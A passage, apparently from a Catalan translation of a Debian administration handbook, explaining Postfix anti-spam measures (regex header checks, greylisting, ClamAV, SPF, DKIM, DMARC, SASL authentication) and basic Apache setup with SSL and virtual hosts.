ULLADA RÀPIDA Tables d'expressions regulars («regexp»)

El fitxer /usr/share/doc/postfix/examples/header_checks (al paquet postfix-doc) i header_checks(5) conté molts comentaris explicatius i es pot utilitzar com a punt de partida per a crear els fitxers /etc/postfix/header_checks i /etc/postfix/body_checks.

Exemple 11.8. Fitxer /etc/postfix/header_checks d'exemple

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane) /^Subject: *El vostre correu conté VIRUS / DESCARTAR la notificació de virus

TORNAR A LES BASES Expressions regulars

El terme expressió regular (abreujat en anglès com a regexp o regex) fa referència a una notació genèrica per expressar una descripció del contingut i/o estructura d'una cadena de caràcters. Certs caràcters especials permeten definir alternatives (per exemple, foo|bar coincideix o bé amb «foo» o bé amb «bar»), conjunts de caràcters permesos (per exemple, [0-9] significa “qualsevol dígit”, i . — un punt — significa “qualsevol caràcter”), quantificació (s? tant pot correspondre amb s com amb una cadena buida, en altres paraules, una o cap ocurrència de s; s+ coincideix amb un o més caràcters s consecutius; i així successivament). Els parèntesis permeten agrupar els resultats de la cerca.

La sintaxi precisa d'aquestes expressions varia segons les eines que les utilitzen, però les característiques bàsiques són similars.

→ https://ca.wikipedia.org/wiki/Expressi%C3%B3_regular

El primer comprova la capçalera que esmenta el programari de correu electrònic; si es troba GOTO Sarbacane (un programari de correu electrònic massiu), el missatge és rebutjat. La segona expressió controla l'assumpte del missatge; si esmenta una notificació de virus, podem decidir no rebutjar el missatge, sinó descartar-lo immediatament.

Aquests filtres són una espasa de doble tall, perquè és fàcil fer que les regles siguin massa genèriques i perdre correus electrònics legítims com a conseqüència. En aquests casos, no només es perdran els missatges, sinó que els seus remitents rebran missatges d'error no desitjats (i molestos).

11.1.4. Configuració de greylisting o “llistes grises”

Les “llistes grises” o «greylisting» és una tècnica de filtratge segons la qual un missatge es rebutja inicialment amb un codi d'error temporal, i només s'accepta després d'un subsegüent intent d'entrega amb cert retard. Aquest filtratge és especialment eficient contra el correu brossa enviat per les moltes màquines infectades amb cucs i virus, ja que aquest programari rarament actua com un agent complet del SMTP (comprovant el codi d'error i reintentant missatges fallits més tard), especialment perquè moltes de les adreces recollides són realment invàlides i tornar a provar només significaria perdre temps.

Postfix no proporciona llista grisa nativament, però hi ha una característica per la qual la decisió d'acceptar o rebutjar un missatge donat pot ser delegada a un programa extern. El paquet postgrey conté aquest programa, dissenyat per interactuar amb aquest servei de delegació de la política d'accés.

Una vegada instal·lat el postgrey, s'executa com un dimoni i escolta al port 10023. El Postfix es pot configurar per utilitzar-lo, afegint el paràmetre check_policy_service com a restricció addicional:

smtpd_recipient_restrictions = permit_mynetworks, [...] check_policy_service inet:127.0.0.1:10023

Cada vegada que el Postfix arriba a aquesta regla del conjunt de regles, es connectarà al dimoni postgrey i li enviarà informació sobre el missatge en qüestió. Per la seva banda, Postgrey considera el triplet adreça IP/emissor/destinatari i comprova a la seva base de dades si aquest mateix triplet ha estat vist recentment. En cas afirmatiu, Postgrey respon que el missatge s'ha d'acceptar; en cas contrari, la resposta indica que el missatge ha de ser rebutjat temporalment, i el triplet s'enregistra a la base de dades.

El principal desavantatge de la llista grisa és que els missatges legítims es retarden, la qual cosa no sempre és acceptable. També augmenta la càrrega sobre els servidors que envien molts correus electrònics legítims.

A LA PRÀCTICA Inconvenients de les llistes grises

Teòricament, les llistes grises només haurien de retardar el primer correu d'un remitent donat a un destinatari donat, i el retard típic és en l'ordre de minuts. No obstant això, la realitat pot diferir lleugerament. Alguns grans ISP utilitzen grups de servidors SMTP, i quan un missatge es rebutja inicialment, el servidor que reintenta la transmissió pot no ser el mateix que l'inicial. Quan això passa, el segon servidor rep un missatge d'error temporal també a causa de la llista grisa, i així successivament; poden passar diverses hores fins que no es torna a provar la transmissió amb un servidor prèviament involucrat, ja que els servidors SMTP normalment augmenten el retard entre reintents després de cada fallada.

Com a conseqüència, l'adreça IP entrant pot variar en el temps fins i tot per a un sol remitent. Però va més enllà: fins i tot l'adreça del remitent pot canviar. Per exemple, molts servidors de llistes de correu codifiquen informació extra a l'adreça del remitent per poder gestionar missatges d'error (coneguts com a «bounces» o “rebots”). Cada nou missatge enviat a una llista de correu pot haver de passar per la llista grisa, cosa que significa que s'ha d'emmagatzemar (temporalment) en el servidor del remitent. Per a llistes de correu molt grans (amb desenes de milers de subscriptors), això aviat es pot convertir en un problema.

Per mitigar aquests inconvenients, Postgrey gestiona una llista blanca d'aquests llocs, i els missatges que vénen d'ells són acceptats immediatament sense passar per la llista grisa. Aquesta llista es pot adaptar fàcilment a les necessitats locals, ja que s'emmagatzema al fitxer /etc/postgrey/whitelist_clients.

ANANT MÉS ENLLÀ Llistes grises selectives amb milter-greylist

Els inconvenients de la llista grisa es poden mitigar només utilitzant-la en el subconjunt de clients que ja es consideren fonts probables de correu brossa (perquè apareixen llistats en una llista negra de DNS). Això no és possible amb postgrey però milter-greylist es pot utilitzar d'aquesta manera.

En aquest escenari, ja que les llistes negres de DNS mai no impliquen un rebuig definitiu, es fa raonable utilitzar llistes negres agressives, incloent-hi aquelles que incloguin totes les adreces IP dinàmiques de clients ISP (com ara pbl.spamhaus.org o dul.dnsbl.sorbs.net).

Atès que milter-greylist usa la interfície de «milter» de Sendmail, la configuració per la part de postfix es limita a “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”. La plana del manual greylist.conf(5) documenta /etc/milter-greylist/greylist.conf i les nombroses maneres de configurar milter-greylist. També haureu d'editar /etc/default/milter-greylist per activar realment el servei.

11.1.5. Personalització dels filtres basant-se en el destinatari

A Secció 11.1.3, «Restriccions per rebre i enviar» i Secció 11.1.4, «Configuració de greylisting o “llistes grises”» es van revisar moltes de les possibles restriccions. Totes tenen la seva utilitat per a limitar la quantitat de correu brossa rebut, però també totes tenen els seus inconvenients. Per tant, cada vegada és més habitual personalitzar el conjunt de filtres depenent del destinatari. A Falcot Corp, la llista grisa és interessant per a la majoria d'usuaris, però dificulta el treball d'alguns usuaris que necessiten baixa latència en els seus correus electrònics (com el servei de suport tècnic). De la mateixa manera, el servei comercial de vegades té problemes per rebre correus electrònics d'alguns proveïdors asiàtics que poden ser aparèixer en llistes negres; aquest servei va demanar una adreça no filtrada per poder intercanviar correus.

Postfix proporciona una personalització dels filtres amb un concepte de “classe de restricció”. Les classes es declaren amb el paràmetre smtpd_rerestriction_classes, i es defineixen de la mateixa manera que smtpd_recipient_restrictions. La directiva check_recipient_access defineix una taula que relaciona un destinatari concret amb un conjunt adequat de restriccions.

Exemple 11.9. Definició de les classes de restricció a main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive greylisting = check_policy_service inet:127.0.0.1:10023 aggressive = reject_rbl_client sbl-xbl.spamhaus.org, check_policy_service inet:127.0.0.1:10023 permissive = permit smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, check_recipient_access hash:/etc/postfix/recipient_access

Exemple 11.10. El fitxer /etc/postfix/recipient_access

# Addresses no filtrades postmaster@falcot.com permissive support@falcot.com permissive sales-asia@falcot.com permissive # Filtratge agressiu per a alguns usuaris privilegiats joe@falcot.com aggressive # Regla especial per a l'administrador de la llista de correu sympa@falcot.com reject_unverified_sender # Per defecte ús de llista grisa falcot.com greylisting

11.1.6. Integració amb un filtre d'antivirus

Els nombrosos virus que circulen com a adjunts als correus electrònics fan important la implantació d'una solució d'antivirus al punt d'entrada de la xarxa de l'empresa, ja que malgrat una campanya de sensibilització, alguns usuaris continuaran obrint els adjunts de missatges òbviament sospitosos.

SEGURETAT Discussió polèmica sobre el programari antivirus

L'ús d'escàners de virus, o programari antivirus, és controvertit. Normalment passa un temps entre l'alliberament d'algun «malware» i l'addició de normes de detecció a la base de dades antivirus. Durant aquest interval de temp no hi ha protecció basada en programari. A més, l'ús sovint requereix executar programari addicional, per exemple, per descomprimir arxius i escanejar tota mena d'executables, la qual cosa augmenta dràsticament el potencial per atacar el propi programari antivirus. L'ús d'aquestes solucions de programari mai pot reemplaçar les campanyes de sensibilització i les regles de comportament bàsiques (mai s'han d'obrir els adjunts enviats en missatges no sol·licitats, etc.).

Els administradors de Falcot han triat clamav del paquet homònim.

La tasca d'intermediar entre l'antivirus i el servidor de correu electrònic va a càrrec de clamav-milter. Un «milter» (abreviat de l'anglès «mail filter» o filtre de correu) és un programa de filtratge dissenyat especialment per interactuar amb servidors de correu electrònic. Un «milter» utilitza una interfície de programació d'aplicacions estàndard (API) que proporciona un rendiment molt millor que els filtres externs als servidors de correu electrònic. Aquests filtres van ser introduïts inicialment per Sendmail, però Postfix aviat en va seguir l'exemple.

ULLADA RÀPIDA Un «milter» per Spamassassin

El paquet spamass-milter proporciona un «milter» basat en SpamAssassin, el famós detector de correu brossa. Es pot utilitzar per marcar missatges com a correu brossa probable (afegint una capçalera extra) i/o rebutjar els missatges en conjunt si la seva valoració com a «spam» va més enllà d'un llindar donat.

Una vegada instal·lat el paquet clamav-milter, el filtre s'hauria de reconfigurar per funcionar en un port TCP en lloc del sòcol per defecte. Això es pot aconseguir amb dpkg-reconfigure clamav-milter. Quan es demana per la “interfície de comunicació amb Sendmail”, responeu amb “inet:10002@127.0.0.1”.

NOTA Port TCP real contra sòcol amb nom

La raó per la qual s'utilitza un port TCP real en lloc d'un sòcol amb nom és que els dimonis postfix sovint s'executen com a «chrooted» i no tenen accés al directori que alberga el sòcol amb nom. També podeu decidir seguir utilitzant un sòcol i triar una ubicació dins del «chroot» (/var/spool/postfix/).

La configuració estàndard de ClamAV s'ajusta a la majoria de situacions, però alguns paràmetres importants encara es poden personalitzar amb dpkg-reconfigure clamav-base.

L'últim pas consisteix a dir a Postfix que utilitzi el filtre configurat recentment. Això és qüestió de senzillament afegir la següent directiva a /etc/postfix/main.cf:

# comprovació de virus amb clamav-milter smtpd_milters = inet:[127.0.0.1]:10002

Si l'antivirus causa problemes, aquesta línia es pot comentar i executar systemctl reload postfix perquè aquest canvi es tingui en compte.

A LA PRÀCTICA Provant l'antivirus

Un cop s'ha configurat l'antivirus s'ha de provar el correcte comportament. La manera més simple de fer-ho és enviar un correu electrònic de prova amb un adjunt que conté el fitxer eicar.com (o eicar.com.zip) que es pot descarregar en línia:

→ https://2016.eicar.org/86-0-Intended-use.html

Aquest arxiu no és un veritable virus, sinó un arxiu de prova que tot el programari antivirus del mercat diagnostica com un virus per efectuar la comprovació d'instal·lacions.

Tots els missatges manejats per Postfix ara passen pel filtre antivirus.

11.1.7. Lluitar contra el correu brossa amb SPF, DKIM i DMARC

L'elevat nombre de correus electrònics no sol·licitats enviats cada dia va dur a la creació de diversos estàndards que tenen com a objectiu validar que l'enviament d'un correu electrònic està autoritzat i que el correu electrònic no s'ha manipulat. Els següents sistemes estan basats en DNS i requereixen que els administradors no només tinguin control sobre el servidor de correu, sinó també sobre el DNS per al domini en qüestió.

COMPTE Discussió polèmica

Com qualsevol altra eina, els estàndards següents tenen limitacions i efectes reals si s'utilitzen. Poden (i haurien de) portar a rebutjar els correus electrònics o fins i tot a descartar-los. Si això passa amb alguns correus electrònics legítims (de vegades enviats des d'un servidor SMTP mal configurat), normalment es provoca ira i falta de comprensió per part de l'usuari. Aquestes regles s'apliquen sovint com un "error suau" o un "rebuig suau", el que normalment significa que no superar les comprovacions només condueix a afegir una marca (capçalera) al correu electrònic afectat. Hi ha gent que pensa que això fa que aquests estàndards es considerin “mal dissenyats”. Decidiu per vosaltres mateixos i aneu amb compte amb com d'estrictes sou per aplicar aquests estàndards.

11.1.7.1. Integrant el marc de polítiques del remitent (SPF o «Sender Policy Framework»)

El Marc de Política del Remitent (SPF «Sender Policy Framework») s'utilitza per validar si es permet que un cert servidor de correu enviï correus electrònics per a un domini donat. Està majoritàriament configurat a través de DNS. La sintaxi de l'entrada a fer s'explica detalladament a:

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

A continuació es mostra una entrada de DNS que estableix que tots els registres de recursos d'intercanvi de correu del domini (MX-RRs o «Mail Exchange Resource Records») poden enviar correus electrònics del domini actual, i tots els altres estan prohibits. No cal donar un nom a l'entrada DNS, però per utilitzar la directiva include cal que en tingui un.

Name: example.org Type: TXT TTL: 3600 Data: v=spf1 a mx -all

Fem un cop d'ull ràpid a l'entrada falcot.org.

# host -t TXT falcot.org falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

Estableix que la IP del remitent ha de coincidir amb el registre A per al domini d'enviament, o ha de ser llistat com un dels «Mail Exchange Resource Records» pel domini actual, o ha de ser una de les tres adreces IP4 esmentades. Tots els altres amfitrions s'haurien de marcar com si no se'ls permet enviar correu electrònic per al domini del remitent. Aquest últim s'anomena un “error suau” i té la intenció de marcar el correu en conseqüència, malgrat que l'accepta.

El servidor de correu postfix pot comprovar el registre SPF dels correus entrants utilitzant el paquet postfix-policyd-spf-python, un agent “normatiu” escrit en Python. El fitxer /usr/share/doc/postfix-policyd-spf-python/README.Debian descriu els passos necessaris per integrar l'agent amb postfix, així que no el repetirem aquí.

La configuració es fa al fitxer /etc/postfix-policyd-spf-python/policyd-spf.conf, que està plenament documentat a policyd-spf.conf(5) i a /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz. Els paràmetres de configuració principals són HELO_reject i Mail_From_reject, que configuren si els correus electrònics han de ser rebutjats (Fail), o acceptats però amb una capçalera afegida (False) si fallen les comprovacions. Aquest últim és útil sovint, quan el missatge és processat per un filtre de correu brossa.

Si el resultat està previst que sigui utilitzat per opendmarc (Secció 11.1.7.3, «Integració de l'utenticació de missatges basats en domini, Informes i Conformitat (DMARC)»), llavors Header_Type ha de ser establert a AR.

Tingueu en compte que spamassassin conté un connector per comprovar el registre SPF.

11.1.7.2. Integrant les signatures i comprovacions DomainKeys (DKIM)

L'estàndard «Domain Keys Identified Mail» (DKIM) és un sistema d'autenticació del remitent. L'agent de transport de correu, en aquest cas postfix, afegeix una signatura digital associada amb el nom del domini a la capçalera dels correus sortints. La part receptora pot validar el cos del missatge i els camps de capçalera verificant la signatura contra una clau pública, que s'obté dels registres DNS del remitent.

→ http://dkim.org/

Les eines necessàries es troben als paquets opendkim i opendkim-tools.

COMPTE Programari de llistes de correu i DKIM

Els gestors de llistes de correu sovint reescriuen algunes capçaleres de correu electrònic, la qual cosa porta a signatures DKIM no vàlides. Fins i tot l'ús d'una canonització relaxada no sempre impedeix que això succeeixi. Així que els administradors han de prestar molta atenció als fitxers de registre dels servidors de correu per identificar aquestes qüestions. En cas contrari aquests correus podrien ser marcats com a correu brossa i podrien ser rebutjats.

Primer s'ha de crear la clau privada utilitzant l'ordre opendkim-genkey -s SELECTOR -d DOMINI. SELECTOR ha de ser un nom únic per a la clau. Pot ser tan simple com “correu” o la data de creació, si es planeja renovar les claus.

Exemple 11.11. Creació una clau privada per signar els correus de falcot.com

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys # chown opendkim.opendkim /etc/dkimkeys/mail.*

Això crearà els fitxers /etc/dkimkeys/mail.private i /etc/dkimkeys/mail.txt i establirà la propietat adequadament. El primer fitxer conté la clau privada, i el segon la clau pública que s'ha d'afegir al DNS:

Name: mail._domainkey Type: TXT TTL: 3600 Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

El paquet opendkim a Debian té per defecte una mida de clau de 2048 bits. Malauradament alguns servidors DNS només poden gestionar entrades de text amb una longitud màxima de 255 caràcters, que queda superada per la mida per defecte de les claus. En aquest cas useu l'opció -b 1024 per triar una mida de clau més petita. Si opendkim-testkey té èxit, l'entrada s'ha configurat correctament. La sintaxi d'aquesta entrada s'explica aquí:

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

Per configurar opendkim, s'han de triar SOCKET i RUNDIR a /etc/default/opendkim. Tingueu en compte que SOCKET ha de ser accessible des de postfix en el seu entorn «chroot». La configuració addicional es fa a /etc/opendkim.conf. El següent és un extracte de configuració que s'assegura que el Domain “falcot.com” i tots els subdominis (SubDomain) estan signats pel Selector “mail” i la clau privada (KeyFile) /etc/dkimkeys/mail.private. La “relaxada” Canonicalization per a la capçalera i el cos tolera modificacions lleus (per exemple, per una llista de correu). El filtre s'executa tant en la signatura (“s”) com en la verificació (“v”) Mode. Si una signatura no es valida (On-BadSignature), el correu s'ha de posar en quarantena ("q").

[...] Domain falcot.com KeyFile /etc/dkimkeys/mail.private Selector mail [...] Canonicalization relaxed/relaxed Mode sv On-BadSignature q SubDomains yes [...] Socket inet:12345@localhost [...] UserID opendkim

També és possible utilitzar múltiples selectors/claus (KeyTable), dominis (SigningTable) i especificar amfitrions interns o de confiança (InternalHosts, ExternalIgnoreList), que poden enviar correu a través del servidor com un dels dominis de signatura sense credencials.

Les següents directives a /etc/postfix/main.cf fan que postfix utilitzi el filtre:

milter_default_action = accept non_smtpd_milters = inet:localhost:12345 smtpd_milters = inet:localhost:12345

Per diferenciar signatura i verificació, de vegades és més útil afegir les directives als serveis de /etc/postfix/master.cf.

Hi ha més informació disponible al directori /usr/share/doc/opendkim/ i a les pàgines del manual opendkim(8) i opendkim.conf(5).

Tingueu en compte que spamassassin conté un connector per comprovar el registre DKIM.

11.1.7.3. Integració de l'utenticació de missatges basats en domini, Informes i Conformitat (DMARC)

L'estàndard d'autenticació de missatges basat en dominis, Informes i Conformitat (en anglès «Domain-based Message Authentication, Reporting and Conformance» o DMARC) es pot utilitzar per definir una entrada DNS TXT amb el nom _dmarc i l'acció que s'ha de prendre quan els correus electrònics que contenen el vostre domini com a amfitrió d'enviament no passen la validació utilitzant DKIM i SPF.

→ https://dmarc.org/overview/

Fem un cop d'ull a les entrades de dos grans proveïdors:

# host -t TXT _dmarc.gmail.com _dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com" # host -t TXT _dmarc.yahoo.com _dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"

Yahoo té una política estricta per a rebutjar tots els correus electrònics que fingeixen ser enviats des d'un compte de Yahoo però que manquen o fallen els controls DKIM i SPF. Google Mail (Gmail) propaga una política molt relaxada, en la qual aquests missatges del domini principal encara haurien de ser acceptats (p=none). Per als subdominis s'han de marcar com a «spam» (sp=quarantine). Les adreces donades a la clau rua es poden utilitzar per enviar informes DMARC agregats. La sintaxi completa s'explica aquí:

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

El servidor de correu postfix també pot utilitzar aquesta informació. El paquet opendmarc conté el «milter» necessari. Com amb opendkim, SOCKET i RUNDIR s'han de decidir a /etc/default/opendmarc (per a sòcols d'Unix haureu d'assegurar-vos que es troben dins del «chroot» del postfix). El fitxer de configuració /etc/opendmarc.conf conté comentaris detallats i també s'explica a opendmarc.conf(5). Per defecte, els correus electrònics que no compleixin la validació DMARC no són rebutjats, sinó marcats, afegint un camp apropiat a la capçalera. Per canviar-ho, utilitzeu RejectFailures true.

El filtre de correu s'afegeix a smtpd_milters i non_smtpd_milters. Si hem configurat els «milters» opendkim i opendmarc per funcionar en els ports 12345 i 54321, l'entrada de /etc/postfix/main.cf seria així:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321 smtpd_milters = inet:localhost:12345,inet:localhost:54321

En lloc seu, el «milter» també es pot aplicar selectivament a un servei a /etc/postfix/master.cf.

11.1.8. SMTP autenticat

Per poder enviar correus electrònics cal que un servidor SMTP sigui accessible; també cal dir que el servidor SMTP pot enviar correus electrònics a través d'ell. Per als usuaris d'itinerància, això pot necessitar canviar regularment la configuració del client SMTP, ja que el servidor SMTP de Falcot rebutja els missatges procedents d'adreces IP que aparentment no pertanyen a l'empresa. Existeixen dues solucions: o bé l'usuari d'itinerància instal·la un servidor SMTP al seu ordinador, o bé utilitza el servidor d'empresa amb alguns mitjans per autenticar-se com a empleat. La solució anterior no es recomana perquè l'ordinador no estarà connectat permanentment, i no podrà reintentar enviar missatges en cas de problemes; ens centrarem en l'última solució.

L'autenticació SMTP amb Postfix es basa en SASL («Simple Authentication and Security Layer» o “Capa de seguretat i autenticació simple”). Requereix instal·lar els paquets libsasl2-modules i sasl2-bin, i després registrar una contrasenya a la base de dades SASL per a cada usuari que necessita autenticar-se al servidor SMTP. Això es fa amb l'ordre saslpasswd2, que agafa diversos paràmetres. L'opció -u defineix el domini d'autenticació, que ha de coincidir amb el paràmetre smtpd_sasl_local_domain a la configuració de Postfix. L'opció -c permet crear un usuari, i -f permet especificar el fitxer a utilitzar si la base de dades SASL necessita ser emmagatzemada en una ubicació diferent de la predeterminada (/etc/sasldb2).

# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean [... type jean's password twice ...]

Adoneu-vos-en que la base de dades SASL es crea al directori de Postfix. Per tal de garantir la coherència, també convertim /etc/sasldb2 en un enllaç simbòlic que apunta a la base de dades utilitzada per Postfix, amb l'ordre ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.

Ara hem de configurar Postfix per utilitzar SASL. Primer l'usuari postfix ha de ser afegit al grup sasl, de manera que pugui accedir a la base de dades del compte SASL. També es necessiten alguns paràmetres nous per permetre SASL, i el paràmetre smtpd_recipient_restrictions s'ha de configurar per permetre que els clients autenticats amb SASL enviïn correus electrònics lliurement.

Exemple 11.12. Habilitar SASL a /etc/postfix/main.cf

# Activar l'autenticació amb SASL smtpd_sasl_auth_enable = yes # Defineix el domini d'autenticació SASL a usar smtpd_sasl_local_domain = $myhostname [...] # Afegir permit_sasl_authenticated abans de reject_unauth_destination # permet reencaminar el correu enviat pels usuaris autenticats amb SASL smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination, [...]

Normalment és bona idea no enviar contrasenyes a través d'una connexió sense xifrar. Postfix permet utilitzar diferents configuracions per a cada port (servei) on s'executa. Tots aquests es poden configurar amb diferents regles i directives al fitxer /etc/postfix/master.cf. Per desactivar l'autenticació al port 25 (servei smtpd) afegiu la següent directiva:

smtp inet n - y - - smtpd [..] -o smtpd_sasl_auth_enable=no [..]

Si per alguna raó els clients utilitzen una ordre obsoleta AUTH (alguns clients de correu molt vells), la interoperabilitat amb ells es pot activar utilitzant la directiva broken_sasl_auth_clients.

EXTRA Client SMTP autenticat

La majoria dels clients de correu electrònic són capaços d'autenticar-se amb un servidor SMTP abans d'enviar missatges sortints, i utilitzar aquesta característica és simple qüestió de configurar els paràmetres apropiats. Si el client en ús no proporciona aquesta característica, la solució és utilitzar un servidor Postfix local i configurar-lo per retransmetre el correu electrònic a través del servidor SMTP remot. En aquest cas, el propi Postfix local serà el client que s'autentiqui amb SASL. Aquí estan els paràmetres necessaris:

smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd relay_host = [mail.falcot.com]

El fitxer /etc/postfix/sasl_passwd ha de contenir el nom d'usuari i la contrasenya per a l'autenticació al servidor mail.falcot.com. Heus aquí un exemple:

[mail.falcot.com] joe:LyinIsji

Com a tots els fitxers d'associacions de Postfix, aquest fitxer s'ha de convertir en /etc/postfix/sasl_passwd.db amb l'ordre postmap.

11.2. Servidor web (HTTP)

Els administradors de Falcot Corp han decidit utilitzar el servidor HTTP Apache, inclòs a Debian Bullseye amb la versió 2.4.52.

ALTERNATIVA Altres servidors web

Apache és probablement el servidor web més conegut, però n'hi ha d'altres. El seu principal oponent és nginx, que es troba disponible en diferents paquets amb diferents conjunts de característiques, com nginx-light, nginx-full, o nginx-extras. Una altra alternativa és lighttpd. Tots ells poden oferir un rendiment molt bo o fins i tot millor sota certes càrregues de treball o en certes situacions, però no tots proporcionen el mateix nombre de característiques i mòduls disponibles.

11.2.1. Instal·lació d'Apache

Instal·lar el paquet apache2 és tot el que es necessita. Conté tots els mòduls, incloent-hi els Multi-Processing Modules o “mòduls multiprocés” (MPMs) que determinen com Apache maneja el processament paral·lel de moltes sol·licituds, que solien proporcionar-se en paquets separats apache2-mpm-*. També estirarà apache2-utils que conté les utilitats de la línia d'ordres que descobrirem més endavant.

L'MPM que s'usi afectarà significativament la forma en què Apache manegarà les peticions concurrents. Amb el «worker» MPM, utilitza fils (processos lleugers o «threads»), mentre que amb la «prefork» MPM utilitza un conjunt de processos creats prèviament. Amb «event» MPM també utilitza fils, però les connexions inactives (en particular les que es mantenen obertes per la característica HTTP «keep-alive») es retornen a un fil dedicat a gestió.

Els administradors de Falcot també instal·len libapache2-mod-php per incloure el suport PHP 7.4 a Apache. Això fa que l'MPM per defecte «event» MPM quedi inhabilitat, i «prefork» s'utilitzi en el seu lloc. Per utilitzar l'MPM «event» es pot utilitzar php-fpm.

SEGURETAT Execució sota l'usuari www-data

Per defecte, Apache gestiona les peticions entrants sota la identitat de l'usuari www-data tal i com es defineix a /etc/apache2/envvars. Això significa que una vulnerabilitat de seguretat en un script CGI executat per Apache (per a una pàgina dinàmica) no comprometrà tot el sistema, sinó només els arxius propietat d'aquest usuari en particular.

Usar els mòduls suexec, proporcionats pels paquets apache2-suexec-*, permet saltar aquesta regla de manera que alguns scripts CGI s'executin sota la identitat d'un altre usuari. Això està configurat amb una directiva SuexecUserGroup usuarigrup a la configuració d'Apache.

Una altra possibilitat és utilitzar un MPM dedicat, com el que proporciona libapache2-mpm-itk. Aquest en particular té un comportament lleugerament diferent: permet “isolar” els amfitrions virtuals (en realitat, conjunts de pàgines) de manera que cadascun s'executa com un usuari diferent. Una vulnerabilitat en un lloc web, per tant, no pot comprometre arxius que pertanyen al propietari d'un altre lloc web.

ULLADA RÀPIDA Llista de mòduls

La llista completa dels mòduls estàndard d'Apache es pot trobar en línia.

→ https://httpd.apache.org/docs/2.4/mod/

Apache és un servidor modular, i moltes característiques són implementades per mòduls externs que el programa principal carrega durant la inicialització. La configuració per defecte només activa els mòduls més comuns, però activar altres mòduls és qüestió simplement d'executar a2enmod mòdul; per inhabilitar un mòdul, la comanda és a2dismod mòdul. Aquests programes en realitat només creen (o eliminen) enllaços simbòlics a /etc/apache2/mods-enabled/, apuntant als fitxers reals (desats a /etc/apache2/mods-available/).

A LA PRÀCTICA Comprovar la configuració

El mòdul mod_info (a2enmod info) permet accedir a la configuració i informació completa del servidor Apache a través del navegador visitant http://localhost/server-info. Com que pot contenir informació sensible, l'accés només es permet des de l'amfitrió local per defecte.

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

Amb la configuració per defecte, el servidor web escolta al port 80 (com es configura a /etc/apache2/ports.conf), i serveix pàgines del directori /var/www/html/(com es configura a /etc/apache2/sites-enabled/000-default.conf).

11.2.2. Afegir suport per a SSL

Apache 2.4 ja duu inclòs el mòdul SSL (mod.ssl) necessari per a HTTP segur (HTTPS). Només cal habilitar-ho amb a2enmod ssl, i després cal afegir les directives necessàries als arxius de configuració. Es proporciona un exemple de configuració a /etc/apache2/sites-available/default-ssl.conf.

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

Si voleu generar certificats de confiança, podeu seguir la secció Secció 10.2.1, «Creació de certificats de confiança de franc» i després ajustar les següents variables:

SSLCertificateFile /etc/letsencrypt/live/DOMINI/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/DOMINI/privkey.pem SSLCertificateChainFile /etc/letsencrypt/live/DOMINI/chain.pem SSLCACertificateFile /etc/ssl/certs/ca-certificates.crt

S'ha de tenir una mica més de cura si voleu afavorir les connexions SSL amb Perfect Forward Secrecy (on les connexions utilitzen claus de sessió efímeres assegurant que si la clau secreta del servidor queda en compromís, això no comprometi un possible trànsit encriptat antic que podria haver estat capturat de la xarxa). Doneu un cop d'ull a les recomanacions de Mozilla en particular:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

Com a alternativa al mòdul SSL estàndard, hi ha un mòdul d'extensió anomenat mod_gnutls, que s'inclou amb el paquet libapache2-mod-gnutls i s'habilita amb l'ordre a2enmod gnutls. Malauradament, la versió empaquetada per a Debian tenia incidències serioses amb fins i tot implicacions de seguretat i, en conseqüència, no forma part de la versió de Debian Bullseye.

→ https://mod.gnutls.org/

11.2.3. Configuració de servidors virtuals («virtual hosts»)

Un servidor virtual és una identitat addicional per al servidor web.

Apache considera dos tipus diferents de servidors virtuals: aquells que es basen en l'adreça IP (o el port), i aquells que es basen en el nom de domini del servidor web. El primer mètode requereix l'assignació d'una adreça IP diferent (o port) per a cada lloc, mentre que el segon pot treballar en una adreça IP única (i port), i els llocs estan diferenciats pel nom d'amfitrió enviat pel client HTTP (que només funciona en la versió 1.1 del protocol HTTP - afortunadament aquesta versió és prou antiga i tots els clients ja l'utilitzen).

L'escassetat (creixent) d'adreces IPv4 normalment afavoreix el segon mètode; no obstant això, es fa més complex si els servidors virtuals també necessiten proporcionar HTTPS, ja que el protocol SSL no sempre ha proporcionat l'allotjament virtual basat en noms; l'extensió SNI («Server Name Indication») que permet aquesta combinació no és acceptada per tots els navegadors. Quan diversos llocs HTTPS han d'executar-se en el mateix servidor, normalment es diferenciaran executant-se en un port diferent o en una adreça IP diferent (IPv6 pot facilitar les coses aquí).

La configuració predeterminada per a Apache 2 permet servidors virtuals basats en noms. A més, es defineix un amfitrió virtual per defecte al fitxer /etc/apache2/sites-enabled/000-default.conf; aquest servidor virtual s'utilitzarà si no es troba cap servidor que coincideixi amb la sol·licitud enviada pel client.

COMPTE Primer servidor virtual

Les peticions relatives als servidors virtuals desconeguts sempre seran ateses pel primer servidor virtual definit, per la qual cosa hem definit aquí primer www.falcot.com.

ULLADA RÀPIDA Suport d'Apache per a SNI

